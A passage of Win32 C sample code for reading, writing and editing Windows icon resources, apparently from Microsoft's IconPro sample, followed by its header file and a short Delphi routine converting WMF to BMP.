UINT nCount;

TCHARszBuffer[MAX_PATH], szFileTitle[MAX_PATH];

// Are we being sent data about an EXE/DLL?

if( (lpEDII = (LPEXEDLLICONINFO)lParam) != NULL )

{

// Set the title of the dialog to reflect the EXE/DLL filename

GetFileTitle( lpEDII->szFileName, szFileTitle, MAX_PATH );

wsprintf( szBuffer, "Extract Icon [%s]", szFileTitle );

SetWindowText( hWnd, szBuffer );

// Fill in the listbox with the icons available

if( ! EnumResourceNames( lpEDII->hInstance, RT_GROUP_ICON, MyEnumProcedure, (LPARAM)hWnd ) )

{

MessageBox( hWnd, "Error Enumerating Icons", "Error", MB_OK );

PostMessage( hWnd, WM_CLOSE, 0, 0 );

}

SendDlgItemMessage( hWnd, IDC_LIST1, LB_SETCURSEL, 0, 0 );

// If we have <= 1, post an OK message

if( (nCount = SendDlgItemMessage(hWnd, IDC_LIST1, LB_GETCOUNT, 0, 0)) == 1 )

{

PostMessage( hWnd, WM_COMMAND, IDOK, 0 );

}

// If there were no icons, let the user know

if( nCount == 0 )

{

MessageBox( hWnd, "No Icons in this File", "Error", MB_OK );

PostMessage( hWnd, WM_CLOSE, 0, 0 );

}

}

return FALSE;

}

break; // End WM_INITDIALOG

// Shut 'er down

case WM_CLOSE:

PostMessage( hWnd, WM_COMMAND, IDCANCEL, 0l );

break; // End WM_CLOSE

// Children are sending messages

case WM_COMMAND:

switch( LOWORD(wParam) )

{

// Its the listbox, just redraw the icon

case IDC_LIST1:

switch( HIWORD(wParam) )

{

case CBN_SELCHANGE:

case CBN_SELENDOK:

InvalidateRect( hWnd, NULL, TRUE );

break;

}

break; // End IDC_LIST1

// User has chosen an icon, shut it down

case IDOK:

{

LONG nIndex;

lpEDII->lpID = NULL;

if( (nIndex = SendDlgItemMessage( hWnd, IDC_LIST1, LB_GETCURSEL, 0, 0 )) != LB_ERR )

lpEDII->lpID = (LPTSTR)SendDlgItemMessage( hWnd, IDC_LIST1, LB_GETITEMDATA, nIndex, 0 );

EndDialog( hWnd, TRUE );

}

break; // End IDOK

// BAIL!

case IDCANCEL:

EndDialog( hWnd, FALSE );

break; // End IDCANCEL

}

break;

default:

return FALSE;

break;

}

return TRUE;

}

/* End ExtractDlgProc() ****************************************************/

/****************************************************************************

*

* FUNCTION: ChooseIconFromEXEFile

*

* PURPOSE: Ask the user which icon he/she wants from the DLL/EXE

*

* PARAMS: LPEXEDLLICONINFO lpEDII - info on this DLL/EXE

*

* RETURNS: LPTSTR - pointer to the resource name

*

* History:

* July '95 - Created

*

\****************************************************************************/

LPTSTR ChooseIconFromEXEFile( LPEXEDLLICONINFO lpEDII )

{

// Just launch the dialog box and let it handle it

if( DialogBoxParam( hInst, MAKEINTRESOURCE(IDD_EXTRACTDLG), hWndMain, ExtractDlgProc, (LPARAM)(lpEDII) ) )

{

// User chose 'Ok'

return lpEDII->lpID;

}

// User chose 'Cancel', or an error occurred, fail the call

return NULL;

}

/* End ChooseIconFromEXEFile() **********************************************/

/****************************************************************************

*

* FUNCTION: ReadIconFromEXEFile

*

* PURPOSE: Load an Icon Resource from a DLL/EXE file

*

* PARAMS: LPCTSTR szFileName - name of DLL/EXE file

*

* RETURNS: LPICONRESOURCE - pointer to icon resource

*

* History:

* July '95 - Created

*

\****************************************************************************/

LPICONRESOURCE ReadIconFromEXEFile( LPCTSTR szFileName )

{

LPICONRESOURCE lpIR = NULL, lpNew = NULL;

HINSTANCE hLibrary;

LPTSTR lpID;

EXEDLLICONINFO EDII;

// Load the DLL/EXE - NOTE: must be a 32bit EXE/DLL for this to work

if( (hLibrary = LoadLibraryEx( szFileName, NULL, LOAD_LIBRARY_AS_DATAFILE )) == NULL )

{

// Failed to load - abort

MessageBox( hWndMain, "Error Loading File - Choose a 32bit DLL or EXE", szFileName, MB_OK );

return NULL;

}

// Store the info

EDII.szFileName = szFileName;

EDII.hInstance = hLibrary;

// Ask the user, "Which Icon?"

if( (lpID = ChooseIconFromEXEFile( &EDII )) != NULL )

{

HRSRC hRsrc = NULL;

HGLOBAL hGlobal = NULL;

LPMEMICONDIR lpIcon = NULL;

UINT i;

// Find the group icon resource

if( (hRsrc = FindResource( hLibrary, lpID, RT_GROUP_ICON )) == NULL )

{

FreeLibrary( hLibrary );

return NULL;

}

if( (hGlobal = LoadResource( hLibrary, hRsrc )) == NULL )

{

FreeLibrary( hLibrary );

return NULL;

}

if( (lpIcon = LockResource(hGlobal)) == NULL )

{

FreeLibrary( hLibrary );

return NULL;

}

// Allocate enough memory for the images

if( (lpIR = malloc( sizeof(ICONRESOURCE) + ((lpIcon->idCount-1) * sizeof(ICONIMAGE)) )) == NULL )

{

MessageBox( hWndMain, "Error Allocating Memory", szFileName, MB_OK );

FreeLibrary( hLibrary );

return NULL;

}

// Fill in local struct members

lpIR->nNumImages = lpIcon->idCount;

lstrcpy( lpIR->szOriginalDLLFileName, szFileName );

lstrcpy( lpIR->szOriginalICOFileName, "" );

// Loop through the images

for( i = 0; i < lpIR->nNumImages; i++ )

{

// Get the individual image

if( (hRsrc = FindResource( hLibrary, MAKEINTRESOURCE(lpIcon->idEntries[i].nID), RT_ICON )) == NULL )

{

free( lpIR );

FreeLibrary( hLibrary );

return NULL;

}

if( (hGlobal = LoadResource( hLibrary, hRsrc )) == NULL )

{

free( lpIR );

FreeLibrary( hLibrary );

return NULL;

}

// Store a copy of the resource locally

lpIR->IconImages[i].dwNumBytes = SizeofResource( hLibrary, hRsrc );

lpIR->IconImages[i].lpBits = malloc( lpIR->IconImages[i].dwNumBytes );

memcpy( lpIR->IconImages[i].lpBits, LockResource( hGlobal ), lpIR->IconImages[i].dwNumBytes );

// Adjust internal pointers

if( ! AdjustIconImagePointers( &(lpIR->IconImages[i]) ) )

{

MessageBox( hWndMain, "Error Converting to Internal Format", szFileName, MB_OK );

free( lpIR );

FreeLibrary( hLibrary );

return NULL;

}

}

}

FreeLibrary( hLibrary );

return lpIR;

}

/* End ReadIconFromEXEFile() ************************************************/

/****************************************************************************

*

* FUNCTION: WriteICOHeader

*

* PURPOSE: Writes the header to an ICO file

*

* PARAMS: HANDLE hFile - handle to the file

* UINT nNumEntries - Number of images in file

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL WriteICOHeader( HANDLE hFile, UINT nNumEntries )

{

WORD Output;

DWORDdwBytesWritten;

// Write 'reserved' WORD

Output = 0;

if( ! WriteFile( hFile, &Output, sizeof( WORD ), &dwBytesWritten, NULL ) )

return FALSE;

// Did we write a WORD?

if( dwBytesWritten != sizeof( WORD ) )

return FALSE;

// Write 'type' WORD (1)

Output = 1;

if( ! WriteFile( hFile, &Output, sizeof( WORD ), &dwBytesWritten, NULL ) )

return FALSE;

// Did we write a WORD?

if( dwBytesWritten != sizeof( WORD ) )

return FALSE;

// Write Number of Entries

Output = (WORD)nNumEntries;

if( ! WriteFile( hFile, &Output, sizeof( WORD ), &dwBytesWritten, NULL ) )

return FALSE;

// Did we write a WORD?

if( dwBytesWritten != sizeof( WORD ) )

return FALSE;

return TRUE;

}

/* End WriteICOHeader() ****************************************************/

/****************************************************************************

*

* FUNCTION: CalculateImageOffset

*

* PURPOSE: Calculates the file offset for an icon image

*

* PARAMS: LPICONRESOURCE lpIR - pointer to icon resource

* UINT nIndex - which image?

*

* RETURNS: DWORD - the file offset for that image

*

* History:

* July '95 - Created

*

\****************************************************************************/

DWORD CalculateImageOffset( LPICONRESOURCE lpIR, UINT nIndex )

{

DWORDdwSize;

UINT i;

// Calculate the ICO header size

dwSize = 3 * sizeof(WORD);

// Add the ICONDIRENTRY's

dwSize += lpIR->nNumImages * sizeof(ICONDIRENTRY);

// Add the sizes of the previous images

for(i=0;i<nIndex;i++)

dwSize += lpIR->IconImages[i].dwNumBytes;

// we're there - return the number

return dwSize;

}

/* End CalculateImageOffset() ***********************************************/

/****************************************************************************

*

* FUNCTION: WriteIconToICOFile

*

* PURPOSE: Writes the icon resource data to an ICO file

*

* PARAMS: LPICONRESOURCE lpIR - pointer to icon resource

* LPCTSTR szFileName - name for the ICO file

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL WriteIconToICOFile( LPICONRESOURCE lpIR, LPCTSTR szFileName )

{

HANDLE hFile;

UINT i;

DWORD dwBytesWritten;

// open the file

if( (hFile = CreateFile( szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL )) == INVALID_HANDLE_VALUE )

{

MessageBox( hWndMain, "Error Opening File for Writing", szFileName, MB_OK );

return FALSE;

}

// Write the header

if( ! WriteICOHeader( hFile, lpIR->nNumImages ) )

{

MessageBox( hWndMain, "Error Writing ICO File", szFileName, MB_OK );

CloseHandle( hFile );

return FALSE;

}

// Write the ICONDIRENTRY's

for( i=0; i<lpIR->nNumImages; i++ )

{

ICONDIRENTRY ide;

// Convert internal format to ICONDIRENTRY

ide.bWidth = lpIR->IconImages[i].Width;

ide.bHeight = lpIR->IconImages[i].Height;

ide.bReserved = 0;

ide.wPlanes = lpIR->IconImages[i].lpbi->bmiHeader.biPlanes;

ide.wBitCount = lpIR->IconImages[i].lpbi->bmiHeader.biBitCount;

if( (ide.wPlanes * ide.wBitCount) >= 8 )

ide.bColorCount = 0;

else

ide.bColorCount = 1 << (ide.wPlanes * ide.wBitCount);

ide.dwBytesInRes = lpIR->IconImages[i].dwNumBytes;

ide.dwImageOffset = CalculateImageOffset( lpIR, i );

// Write the ICONDIRENTRY out to disk

if( ! WriteFile( hFile, &ide, sizeof( ICONDIRENTRY ), &dwBytesWritten, NULL ) )

return FALSE;

// Did we write a full ICONDIRENTRY ?

if( dwBytesWritten != sizeof( ICONDIRENTRY ) )

return FALSE;

}

// Write the image bits for each image

for( i=0; i<lpIR->nNumImages; i++ )

{

DWORD dwTemp = lpIR->IconImages[i].lpbi->bmiHeader.biSizeImage;

// Set the sizeimage member to zero

lpIR->IconImages[i].lpbi->bmiHeader.biSizeImage = 0;

// Write the image bits to file

if( ! WriteFile( hFile, lpIR->IconImages[i].lpBits, lpIR->IconImages[i].dwNumBytes, &dwBytesWritten, NULL ) )

return FALSE;

if( dwBytesWritten != lpIR->IconImages[i].dwNumBytes )

return FALSE;

// set it back

lpIR->IconImages[i].lpbi->bmiHeader.biSizeImage = dwTemp;

}

CloseHandle( hFile );

return FALSE;

}

/* End WriteIconToICOFile() **************************************************/

/****************************************************************************

*

* FUNCTION: IconImageToClipBoard

*

* PURPOSE: Copies an icon image to the clipboard in CF_DIB format

*

* PARAMS: LPICONIMAGE lpii - pointer to icon image data

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL IconImageToClipBoard( LPICONIMAGE lpii )

{

HANDLEhGlobal;

LPSTRlpBits;

// Open the clipboard

if( OpenClipboard( hWndMain ) )

{

// empty it

if( EmptyClipboard() )

{

// Make a buffer to send to clipboard

hGlobal = GlobalAlloc( GMEM_MOVEABLE | GMEM_DDESHARE, lpii->dwNumBytes );

lpBits = GlobalLock( hGlobal );

// Copy the bits to the buffer

memcpy( lpBits, lpii->lpBits, lpii->dwNumBytes );

// Adjust for funky height*2 thing

((LPBITMAPINFOHEADER)lpBits)->biHeight /= 2;

GlobalUnlock( hGlobal );

// Send it to the clipboard

SetClipboardData( CF_DIB, hGlobal );

CloseClipboard();

return TRUE;

}

}

return FALSE;

}

/* End IconImageToClipBoard() ***********************************************/

/****************************************************************************

*

* FUNCTION: IconImageFromClipBoard

*

* PURPOSE: Creates an icon image from the CF_DIB clipboard entry

*

* PARAMS: LPICONIMAGE lpii - pointer to icon image data

* BOOL bStretchToFit - TRUE to stretch, FALSE to take

* the upper left corner of the DIB

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL IconImageFromClipBoard( LPICONIMAGE lpii, BOOL bStretchToFit )

{

LPBITMAPINFO lpbi;

HANDLE hClipGlobal;

BOOL bRet = FALSE;

// Open the clipboard

if( OpenClipboard( hWndMain ) )

{

// Get the CF_DIB data from it

if( (hClipGlobal = GetClipboardData( CF_DIB )) != NULL )

{

// Lock it down

if( (lpbi=GlobalLock(hClipGlobal)) != NULL )

{

// Convert it to an icon image

bRet = DIBToIconImage( lpii, (LPBYTE)lpbi, bStretchToFit );

GlobalUnlock( hClipGlobal );

}

}

CloseClipboard();

}

return bRet;

}

/* End IconImageFromClipBoard() ********************************************/

/****************************************************************************

*

* FUNCTION: DIBToIconImage

*

* PURPOSE: Converts a CF_DIB memory block to an icon image

*

* PARAMS: LPICONIMAGE lpii - pointer to icon image data

* LPBYTE lpDIB - a pointer to the CF_DIB block

* BOOL bStretchToFit - TRUE to stretch, FALSE to take

* the upper left corner of the DIB

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL DIBToIconImage( LPICONIMAGE lpii, LPBYTE lpDIB, BOOL bStretch )

{

LPBYTE lpNewDIB;

// Sanity check

if( lpDIB == NULL )

return FALSE;

// Let the DIB engine convert color depths if need be

lpNewDIB = ConvertDIBFormat( (LPBITMAPINFO)lpDIB, lpii->Width, lpii->Height, lpii->Colors, bStretch );

// Now we have a cool new DIB of the proper size/color depth

// Lets poke it into our data structures and be done with it

// How big is it?

lpii->dwNumBytes = sizeof( BITMAPINFOHEADER ) // Header

+ PaletteSize( (LPSTR)lpNewDIB ) // Palette

+ lpii->Height * BytesPerLine( (LPBITMAPINFOHEADER)lpNewDIB )// XOR mask

+ lpii->Height * WIDTHBYTES( lpii->Width ); // AND mask

// If there was already an image here, free it

if( lpii->lpBits != NULL )

free( lpii->lpBits );

// Allocate enough room for the new image

if( (lpii->lpBits = malloc( lpii->dwNumBytes )) == NULL )

{

free( lpii );

return FALSE;

}

// Copy the bits

memcpy( lpii->lpBits, lpNewDIB, sizeof( BITMAPINFOHEADER ) + PaletteSize( (LPSTR)lpNewDIB ) );

// Adjust internal pointers/variables for new image

lpii->lpbi = (LPBITMAPINFO)(lpii->lpBits);

lpii->lpbi->bmiHeader.biHeight *= 2;

lpii->lpXOR = FindDIBBits( (LPSTR)(lpii->lpBits) );

memcpy( lpii->lpXOR, FindDIBBits((LPSTR)lpNewDIB), lpii->Height * BytesPerLine( (LPBITMAPINFOHEADER)lpNewDIB ) );

lpii->lpAND = lpii->lpXOR + lpii->Height * BytesPerLine( (LPBITMAPINFOHEADER)lpNewDIB );

memset( lpii->lpAND, 0, lpii->Height * WIDTHBYTES( lpii->Width ) );

// Free the source

free( lpNewDIB );

return TRUE;

}

/* End DIBToIconImage() ***************************************************/

/****************************************************************************

*

* FUNCTION: CreateBlankNewFormatIcon

*

* PURPOSE: Creates a blank icon image for a new format

*

* PARAMS: LPICONIMAGE lpii - pointer to icon image data

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL CreateBlankNewFormatIcon( LPICONIMAGE lpii )

{

DWORD dwFinalSize;

BITMAPINFOHEADER bmih;

// Fill in the bitmap header

ZeroMemory( &bmih, sizeof( BITMAPINFOHEADER ) );

bmih.biSize = sizeof( BITMAPINFOHEADER );

bmih.biBitCount = lpii->Colors;

bmih.biClrUsed = 0;

// How big will the final thing be?

// Well, it'll have a header

dwFinalSize = sizeof( BITMAPINFOHEADER );

// and a color table (even if it's zero length)

dwFinalSize += PaletteSize( (LPSTR)&bmih );

// and XOR bits

dwFinalSize += lpii->Height * WIDTHBYTES( lpii->Width * lpii->Colors );

// and AND bits. That's about it :)

dwFinalSize += lpii->Height * WIDTHBYTES( lpii->Width );

// Allocate some memory for it

lpii->lpBits = malloc( dwFinalSize );

ZeroMemory( lpii->lpBits, dwFinalSize );

lpii->dwNumBytes = dwFinalSize;

lpii->lpbi = (LPBITMAPINFO)(lpii->lpBits);

lpii->lpXOR = (LPSTR)(lpii->lpbi) + sizeof(BITMAPINFOHEADER) + PaletteSize( (LPSTR)&bmih );

lpii->lpAND = lpii->lpXOR + (lpii->Height * WIDTHBYTES( lpii->Width * lpii->Colors ));

// The bitmap header is zeros, fill it out

lpii->lpbi->bmiHeader.biSize = sizeof( BITMAPINFOHEADER );

lpii->lpbi->bmiHeader.biWidth = lpii->Width;

// Don't forget the funky height*2 icon resource thing

lpii->lpbi->bmiHeader.biHeight = lpii->Height * 2;

lpii->lpbi->bmiHeader.biPlanes = 1;

lpii->lpbi->bmiHeader.biBitCount = lpii->Colors;

lpii->lpbi->bmiHeader.biCompression = BI_RGB;

return TRUE;

}

/* End CreateBlankNewFormatIcon() ******************************************/

/****************************************************************************

*

* FUNCTION: GetXORImageRect

*

* PURPOSE: Given a bounding Rect, calculates the XOR mask display Rect

*

* PARAMS: RECT Rect - Bounding rect for drawing area

* LPICONIMAGE lpIcon - pointer to icon image data

*

* RETURNS: RECT - the rect where the XOR image will be drawn

*

* History:

* July '95 - Created

*

\****************************************************************************/

RECT GetXORImageRect( RECT Rect, LPICONIMAGE lpIcon )

{

RECT NewRect;

// Just center the thing in the bounding display rect

NewRect.left = Rect.left + ((RectWidth(Rect)-lpIcon->lpbi->bmiHeader.biWidth)/2);

NewRect.top = Rect.top + ((RectHeight(Rect)-(lpIcon->lpbi->bmiHeader.biHeight/2))/2);

NewRect.bottom = NewRect.top + (lpIcon->lpbi->bmiHeader.biHeight/2);

NewRect.right = NewRect.left + lpIcon->lpbi->bmiHeader.biWidth;

return NewRect;

}

/* End GetXORImageRect() ***************************************************/

/****************************************************************************

*

* FUNCTION: DrawXORMask

*

* PURPOSE: Using DIB functions, draw XOR mask on hDC in Rect

*

* PARAMS: HDC hDC - The DC on which to draw

* RECT Rect - Bounding rect for drawing area

* LPICONIMAGE lpIcon - pointer to icon image data

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* COMMENTS: Does not use any palette information since the

* OS won't when it draws the icon anyway.

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL DrawXORMask( HDC hDC, RECT Rect, LPICONIMAGE lpIcon )

{

int x, y;

// Sanity checks

if( lpIcon == NULL )

return FALSE;

if( lpIcon->lpBits == NULL )

return FALSE;

// Account for height*2 thing

lpIcon->lpbi->bmiHeader.biHeight /= 2;

// Locate it

x = Rect.left + ((RectWidth(Rect)-lpIcon->lpbi->bmiHeader.biWidth)/2);

y = Rect.top + ((RectHeight(Rect)-lpIcon->lpbi->bmiHeader.biHeight)/2);

// Blast it to the screen

SetDIBitsToDevice( hDC, x, y, lpIcon->lpbi->bmiHeader.biWidth, lpIcon->lpbi->bmiHeader.biHeight, 0, 0, 0, lpIcon->lpbi->bmiHeader.biHeight, lpIcon->lpXOR, lpIcon->lpbi, DIB_RGB_COLORS );

// UnAccount for height*2 thing

lpIcon->lpbi->bmiHeader.biHeight *= 2;

return TRUE;

}

/* End DrawXORMask() *******************************************************/

/****************************************************************************

*

* FUNCTION: DrawANDMask

*

* PURPOSE: Using DIB functions, draw AND mask on hDC in Rect

*

* PARAMS: HDC hDC - The DC on which to draw

* RECT Rect - Bounding rect for drawing area

* LPICONIMAGE lpIcon - pointer to icon image data

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL DrawANDMask( HDC hDC, RECT Rect, LPICONIMAGE lpIcon )

{

LPBITMAPINFO lpbi;

int x, y;

// Sanity checks

if( lpIcon == NULL )

return FALSE;

if( lpIcon->lpBits == NULL )

return FALSE;

// Need a bitmap header for the mono mask

lpbi = malloc( sizeof(BITMAPINFO) + (2 * sizeof( RGBQUAD )) );

lpbi->bmiHeader.biSize = sizeof( BITMAPINFOHEADER );

lpbi->bmiHeader.biWidth = lpIcon->lpbi->bmiHeader.biWidth;

lpbi->bmiHeader.biHeight = lpIcon->lpbi->bmiHeader.biHeight/2;

lpbi->bmiHeader.biPlanes = 1;

lpbi->bmiHeader.biBitCount = 1;

lpbi->bmiHeader.biCompression = BI_RGB;

lpbi->bmiHeader.biSizeImage = 0;

lpbi->bmiHeader.biXPelsPerMeter = 0;

lpbi->bmiHeader.biYPelsPerMeter = 0;

lpbi->bmiHeader.biClrUsed = 0;

lpbi->bmiHeader.biClrImportant = 0;

lpbi->bmiColors[0].rgbRed = 0;

lpbi->bmiColors[0].rgbGreen = 0;

lpbi->bmiColors[0].rgbBlue = 0;

lpbi->bmiColors[0].rgbReserved = 0;

lpbi->bmiColors[1].rgbRed = 255;

lpbi->bmiColors[1].rgbGreen = 255;

lpbi->bmiColors[1].rgbBlue = 255;

lpbi->bmiColors[1].rgbReserved = 0;

// Locate it

x = Rect.left + ((RectWidth(Rect)-lpbi->bmiHeader.biWidth)/2);

y = Rect.top + ((RectHeight(Rect)-lpbi->bmiHeader.biHeight)/2);

// Blast it to the screen

SetDIBitsToDevice( hDC, x, y, lpbi->bmiHeader.biWidth, lpbi->bmiHeader.biHeight, 0, 0, 0, lpbi->bmiHeader.biHeight, lpIcon->lpAND, lpbi, DIB_RGB_COLORS );

// clean up

free( lpbi );

return TRUE;

}

/* End DrawANDMask() *******************************************************/

/****************************************************************************

*

* FUNCTION: MakeNewANDMaskBasedOnPoint

*

* PURPOSE: Creates a new AND mask for the icon image

*

* PARAMS: LPICONIMAGE lpIcon - pointer to icon image data

* POINT pt - coords of transparent pixel

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* COMMENTS: Creates the AND mask using the color of the pixel at pt

* as a transparent color. The XOR mask is changed as well.

* This is because the OS expects the XOR mask to have the

* AND mask already applied (ie black in transparent areas)

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL MakeNewANDMaskBasedOnPoint( LPICONIMAGE lpIcon, POINT pt )

{

HBITMAP hXORBitmap, hOldXORBitmap;

HDC hDC, hMemDC1;

LPBYTE pXORBits;

COLORREF crTransparentColor;

LONG i,j;

// Account for height*2 thing

lpIcon->lpbi->bmiHeader.biHeight /= 2;

// Need a DC

hDC = GetDC( NULL );

// Use DIBSection for source

hXORBitmap = CreateDIBSection( hDC, lpIcon->lpbi, DIB_RGB_COLORS, &pXORBits, NULL, 0 );

memcpy( pXORBits, lpIcon->lpXOR, (lpIcon->lpbi->bmiHeader.biHeight) * BytesPerLine((LPBITMAPINFOHEADER)(lpIcon->lpbi)) );

hMemDC1 = CreateCompatibleDC( hDC );

hOldXORBitmap = SelectObject( hMemDC1, hXORBitmap );

// Set the color table if need be

if( lpIcon->lpbi->bmiHeader.biBitCount <= 8 )

SetDIBColorTable( hMemDC1, 0, DIBNumColors((LPSTR)(lpIcon->lpbi)), lpIcon->lpbi->bmiColors);

// What's the transparent color?

crTransparentColor = GetPixel( hMemDC1, pt.x, pt.y );

// Loop through the pixels

for(i=0;i<lpIcon->lpbi->bmiHeader.biWidth;i++)

{

for(j=0;j<lpIcon->lpbi->bmiHeader.biHeight;j++)

{

// Is the source transparent at this point?

if( GetPixel( hMemDC1, i, j ) == crTransparentColor )

{

// Yes, so set the pixel in AND mask, and clear it in XOR mask

SetMonoDIBPixel( lpIcon->lpAND, lpIcon->lpbi->bmiHeader.biWidth, lpIcon->lpbi->bmiHeader.biHeight, i, j, TRUE );

if( lpIcon->lpbi->bmiHeader.biBitCount == 1 )

SetMonoDIBPixel( pXORBits, lpIcon->lpbi->bmiHeader.biWidth, lpIcon->lpbi->bmiHeader.biHeight, i, j, FALSE );

else

SetPixelV( hMemDC1, i, j, RGB(0,0,0) );

}

else

{

// No, so clear pixel in AND mask

SetMonoDIBPixel( lpIcon->lpAND, lpIcon->lpbi->bmiHeader.biWidth, lpIcon->lpbi->bmiHeader.biHeight, i, j, FALSE );

}

}

}

// Flush the SetPixelV() calls

GdiFlush();

SelectObject( hMemDC1, hOldXORBitmap );

// Copy the new XOR bits back to our storage

memcpy( lpIcon->lpXOR, pXORBits, (lpIcon->lpbi->bmiHeader.biHeight) * BytesPerLine((LPBITMAPINFOHEADER)(lpIcon->lpbi)) );

// Clean up

DeleteObject( hXORBitmap );

DeleteDC( hMemDC1 );

ReleaseDC( NULL, hDC );

// UnAccount for height*2 thing

lpIcon->lpbi->bmiHeader.biHeight *= 2;

return TRUE;

}

/* End MakeNewANDMaskBasedOnPoint() *****************************************/

/****************************************************************************

*

* FUNCTION: IconImageFromBMPFile

*

* PURPOSE: Creates an icon image from a BMP file

*

* PARAMS: LPCTSTR szFileName - Filename for BMP file

* LPICONIMAGE lpii - pointer to icon image data

* BOOL bStretchToFit - TRUE to stretch, FALSE to take

* the upper left corner of the DIB

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL IconImageFromBMPFile( LPCTSTR szFileName, LPICONIMAGE lpii, BOOL bStretchToFit )

{

LPBYTE lpDIB = NULL;

BOOL bRet = FALSE;

if( (lpDIB=ReadBMPFile(szFileName)) == NULL )

return FALSE;

// Convert it to an icon image

bRet = DIBToIconImage( lpii, lpDIB, bStretchToFit );

free( lpDIB );

return bRet;

}

/* End IconImageFromBMPFile() ********************************************/

/****************************************************************************

*

* FUNCTION: IconImageToBMPFile

*

* PURPOSE: Creates BMP file from an icon image

*

* PARAMS: LPCTSTR szFileName - Filename for BMP file

* LPICONIMAGE lpii - pointer to icon image data

*

* RETURNS: BOOL - TRUE for success, FALSE for failure

*

* History:

* July '95 - Created

*

\****************************************************************************/

BOOL IconImageToBMPFile( LPCTSTR szFileName, LPICONIMAGE lpii )

{

return WriteBMPFile( szFileName, (LPBYTE)lpii->lpbi );

}

==========================================================

ICONS.H

Copy From MSDN

/****************************************************************************\

*

* FILE: Icons.H

*

* PURPOSE: IconPro Project Icon handling header file

*

* COMMENTS:

*

*

* Copyright 1995 - 1998 Microsoft Corp.

*

*

* History:

* July '95 - Created

*

\****************************************************************************/

/****************************************************************************/

// Structs

// These first two structs represent how the icon information is stored

// when it is bound into a EXE or DLL file. Structure members are WORD

// aligned and the last member of the structure is the ID instead of

// the imageoffset.

#pragma pack( push )

#pragma pack( 2 )

typedef struct

{

BYTEbWidth; // Width of the image

BYTEbHeight; // Height of the image (times 2)

BYTEbColorCount; // Number of colors in image (0 if >=8bpp)

BYTEbReserved; // Reserved

WORDwPlanes; // Color Planes

WORDwBitCount; // Bits per pixel

DWORDdwBytesInRes; // how many bytes in this resource?

WORDnID; // the ID

} MEMICONDIRENTRY, *LPMEMICONDIRENTRY;

typedef struct

{

WORDidReserved; // Reserved

WORDidType; // resource type (1 for icons)

WORDidCount; // how many images?

MEMICONDIRENTRYidEntries[1]; // the entries for each image

} MEMICONDIR, *LPMEMICONDIR;

#pragma pack( pop )

// These next two structs represent how the icon information is stored

// in an ICO file.

typedef struct

{

BYTEbWidth; // Width of the image

BYTEbHeight; // Height of the image (times 2)

BYTEbColorCount; // Number of colors in image (0 if >=8bpp)

BYTEbReserved; // Reserved

WORDwPlanes; // Color Planes

WORDwBitCount; // Bits per pixel

DWORDdwBytesInRes; // how many bytes in this resource?

DWORDdwImageOffset; // where in the file is this image

} ICONDIRENTRY, *LPICONDIRENTRY;

typedef struct

{

WORDidReserved; // Reserved

WORDidType; // resource type (1 for icons)

WORDidCount; // how many images?

ICONDIRENTRYidEntries[1]; // the entries for each image

} ICONDIR, *LPICONDIR;

// The following two structs are for the use of this program in

// manipulating icons. They are more closely tied to the operation

// of this program than the structures listed above. One of the

// main differences is that they provide a pointer to the DIB

// information of the masks.

typedef struct

{

UINTWidth, Height, Colors; // Width, Height and bpp

LPBYTElpBits; // ptr to DIB bits

DWORDdwNumBytes; // how many bytes?

LPBITMAPINFOlpbi; // ptr to header

LPBYTElpXOR; // ptr to XOR image bits

LPBYTElpAND; // ptr to AND image bits

} ICONIMAGE, *LPICONIMAGE;

typedef struct

{

BOOLbHasChanged; // Has image changed?

TCHARszOriginalICOFileName[MAX_PATH]; // Original name

TCHARszOriginalDLLFileName[MAX_PATH]; // Original name

UINTnNumImages; // How many images?

ICONIMAGEIconImages[1]; // Image entries

} ICONRESOURCE, *LPICONRESOURCE;

/****************************************************************************/

/****************************************************************************/

// Exported function prototypes

LPICONRESOURCE ReadIconFromICOFile( LPCTSTR szFileName );

BOOL WriteIconToICOFile( LPICONRESOURCE lpIR, LPCTSTR szFileName );

HICON MakeIconFromResource( LPICONIMAGE lpIcon );

LPICONRESOURCE ReadIconFromEXEFile( LPCTSTR szFileName );

BOOL IconImageToClipBoard( LPICONIMAGE lpii );

BOOL IconImageFromClipBoard( LPICONIMAGE lpii, BOOL bStretchToFit );

BOOL CreateBlankNewFormatIcon( LPICONIMAGE lpii );

BOOL DrawXORMask( HDC hDC, RECT Rect, LPICONIMAGE lpIcon );

BOOL DrawANDMask( HDC hDC, RECT Rect, LPICONIMAGE lpIcon );

RECT GetXORImageRect( RECT Rect, LPICONIMAGE lpIcon );

BOOL MakeNewANDMaskBasedOnPoint( LPICONIMAGE lpIcon, POINT pt );

BOOL IconImageFromBMPFile( LPCTSTR szFileName, LPICONIMAGE lpii, BOOL bStretchToFit );

BOOL IconImageToBMPFile( LPCTSTR szFileName, LPICONIMAGE lpii );

/****************************************************************************/


BMP<-->WMF
WMF格式转换为BMP格式

--------------------------------------------------------------------

procedure WmfToBmp(FicheroWmf,FicheroBmp:string);

var

MetaFile:TMetafile;

Bmp:TBitmap;

begin

Metafile:=TMetaFile.create;

{Create a Temporal Bitmap}

Bmp:=TBitmap.create;

{Load the Metafile}

MetaFile.LoadFromFile(FicheroWmf);

{Draw the metafile in Bitmap's canvas}

with Bmp do

begin

Height:=Metafile.Height;

Width:=Metafile.Width;

Canvas.Draw(0,0,MetaFile);

{Save the BMP}

SaveToFile(FicheroBmp);

{Free BMP}

Free;

end;

{Free Metafile}

MetaFile.Free;

